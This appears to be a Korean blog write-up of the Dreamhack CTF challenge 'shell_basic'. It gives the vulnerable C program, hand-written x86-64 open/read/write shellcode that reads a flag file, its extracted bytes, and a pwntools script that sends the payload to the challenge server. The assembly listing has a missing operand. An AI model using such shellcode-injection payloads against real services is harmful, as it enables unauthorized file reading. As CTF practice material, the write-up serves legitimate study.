본문 바로가기
CTF/dreamhack(pwnable)

[Dreamhack] shell_basic

by kimboan 2024. 3. 24.

문제 설명

Description

입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.

main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.

flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!

플래그 형식은 DH{...} 입니다. DH{와 }도 모두 포함하여 인증해야 합니다.

 

$ cat write.asm
section .text
global _start
_start:
    ;/* write(fd=1, buf='hello', n=48) */
    ;/* push 'hello\x00' */
    mov rax, 0x0a6f6c6c6568
    push rax
    mov rsi, rsp
    push 1
    pop rdi
    push 0x6
    pop rdx
    ;/* call write() */
    push 1
    pop rax
    syscall
$ nasm -f elf64 write.asm
$ objcopy --dump-section .text=write.bin write.o
$ xxd write.bin
00000000: 48b8 6865 6c6c 6f0a 0000 5048 89e6 6a01  H.hello...PH..j.
00000010: 5f6a 065a 6a01 580f 05                   _j.Zj.X..
$ cat write.bin | ./shell_basic
shellcode: hello
[1]    1592460 done                cat write.bin |
       1592461 segmentation fault  ./shell_basic
$

 

먼저 execve 시스템콜을 사용하지 못하도록 한다고 했으니, 서버의 셸을 획득하여 권한을 뺏는 공격은 아닐 것이다.

 

flag파일의 이름을 알고 있으니,

read, write, open 시스템콜을 이용해서 flag 파일을 읽은 후 출력하면 될 것 같다.

 

먼저 shell_basic.c 코드를 살펴보자

 

yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ cat shell_basic.c

// Compile: gcc -o shell_basic shell_basic.c -lseccomp

// apt install seccomp libseccomp-dev

 

#include <fcntl.h>

#include <seccomp.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/prctl.h>

#include <unistd.h>

#include <sys/mman.h>

#include <signal.h>

 

void alarm_handler() {

    puts("TIME OUT");

    exit(-1);

}

 

void init() {

    setvbuf(stdin, NULL, _IONBF, 0);

    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);

    alarm(10);

}

 

void banned_execve() {

  scmp_filter_ctx ctx;

  ctx = seccomp_init(SCMP_ACT_ALLOW);

  if (ctx == NULL) {

    exit(0);

  }

  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);

  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

 

  seccomp_load(ctx);

}

 

void main(int argc, char *argv[]) {

  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   

  void (*sc)();

  

  init();

  

  banned_execve();

 

  printf("shellcode: ");

  read(0, shellcode, 0x1000);

 

  sc = (void *)shellcode;

  sc();

}

 

 

먼저 프로그램 상에서 execve,execveat 시스템콜을 막는 것을 확인할 수 있고,

사용자로부터 shellcode를 입력받아서 실행하는 프로그램임을 확인할 수 있다.

 

 

1) 먼저 flag파일의  경로값(문자열)을 메모리에 위치시키고

2) 파일 open

3) 파일 read

4) 파일 write

순으로 시스템콜을 호출하는 어셈블리어 코드를 작성해보겠다.

 

 

[파일경로를 아스키코드 값으로 바꿔주는 코드]

#include <stdio.h>

#include <string.h>

int main(void) {

    char *s = "/home/shell_basic/flag_name_is_loooooong";

    int sLen = strlen(s);

 

    for(int i=0;i<=4;i++) {

        for(int j=0;j<=7;j++) printf("%2x", s[sLen-i*8-j-1]);

        printf("\n");

    }

}

 

리틀엔디안 방식이기때문에 역순으로 출력되게끔 코딩

ex) gnooooool_si_eman_galf/...

 

yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ ./ascii

676e6f6f6f6f6f6f

6c5f73695f656d61

6e5f67616c662f63

697361625f6c6c65

68732f656d6f682f

-> [역순] 파일명 16진수값(리틀엔디언방식)

 

 

 

어셈블리어 코드 작성

yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ vi shell_basic.asm 

 

section .text

global _start

_start:

push 0x0

mov rax, 0x676e6f6f6f6f6f6f 

push rax

mov rax, 0x6c5f73695f656d61

push rax

mov rax, 0x6e5f67616c662f63

push rax

mov rax, 0x697361625f6c6c65

push rax

mov rax, 0x68732f656d6f682f

push rax // 파일명을 메모리에 위치시킨다.

mov rdi, rsp // rdi = "/home/shell_basic/flag_name_is_loooooong"

xor rsi, rsi // rsi = 0 ; RD_ONLY

xor rdx, rdx // rdx = 0

mov rax, 0x2 // rax = 2 ; syscall_open

syscall // open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL)

mov rdi, rax // rdi = fd

mov rsi, rsp

sub rsi, 0x30 // rsi = rsp-0x30 ; buf

mov rdx, 0x30 // rdx = 0x30 ; len

mov rax, // rax = 0 ; syscall_read

syscall  // read(fd, buf, 0x30)

mov rdi, 0x1 // rdi  = 1 ; fd = stdout

mov rax, 0x1 // rax = 1 ; syscall_write

syscall // write(fd, buf, 0x30)

 

 

작성한 shellcode를 objdump를 이용하여 bytecode 형태로 추출

 

 

nasm -f elf64 shell_basic.asm

-> shell_basic.asm 어셈블리어 코드로부터 shell_basic.o 목적파일 생성

 

yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ nasm -f elf64 shell_basic.asm

 

 

objcopy --dump-section .text=shell_basic.bin shell_basic.o

-> shell_basic.o 파일에서 .text를 추출하여 새로운 바이너리 파일인 shell_basic.bin을 만들어 복사한다.

 

xxd shell_basic.bin

-> shell_basic.bin 파일의 내용을 16진수 형태로 출력

 

yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ xxd shell_basic.bin

00000000: 6a00 48b8 6f6f 6f6f 6f6f 6e67 5048 b861  j.H.oooooongPH.a

00000010: 6d65 5f69 735f 6c50 48b8 632f 666c 6167  me_is_lPH.c/flag

00000020: 5f6e 5048 b865 6c6c 5f62 6173 6950 48b8  _nPH.ell_basiPH.

00000030: 2f68 6f6d 652f 7368 5048 89e7 4831 f648  /home/shPH..H1.H

00000040: 31d2 b802 0000 000f 0548 89c7 4889 e648  1........H..H..H

00000050: 83ee 30ba 3000 0000 b800 0000 000f 05bf  ..0.0...........

00000060: 0100 0000 b801 0000 000f 05              ..........

 

ld -o shell_basic2 shell_basic.o

-> shell_basic.o 목적파일을 링킹작업을 통해 shell_basic2 실행파일로 연결

 

for i in $(objdump -d ./shell_basic2 | grep "^ "| cut -f2);do echo -n "\\x$i"; done

-> shell_basic2 실행파일을 16진수로 보기 좋게 만들어주는 명령어

yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ for i in $(objdump -d ./shell_basic2 | grep "^ "| cut -f2);do echo -n "\\x$i"; done

\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05

 

 

 

 

 

[해당 바이너리 값으로 파이썬 익스플로잇 코드 작성]

 

yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ vi shellcodesend.py 

 

from pwn import * // pwntools 라이브러리 사용

 

r = remote("host3.dreamhack.games", 14378) // remote 함수를 사용하여 dreamhack 서버 포트로 연결, 리모트 서버에 tcp연결을 설정하고 이를 제어하기 위한 객체 'r'을 생성한다.

 

context.arch = "amd64" // 사용할 아키텍처를 x86-64(amd64)로 설정한다. 이것은 나중에 셸코드를 생성할 때 해당 아키텍처를 사용하도록 지정한다.

 

shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"

// flag값이 들어있는 파일을 열고 안에 있는 값을 출력해주는 익스플로잇 셸코드

 

r.send(shellcode) // 연결된 원격 서버에 셸코드 전송

r.interactive() // 프로그램을 대화형 모드로 전환하여 셸이 실행되었을 때 사용자가 셸과 상호작용할 수 있도록 함.

 

 

'CTF > dreamhack(pwnable)' 카테고리의 다른 글

어셈블리어  (0) 2024.03.24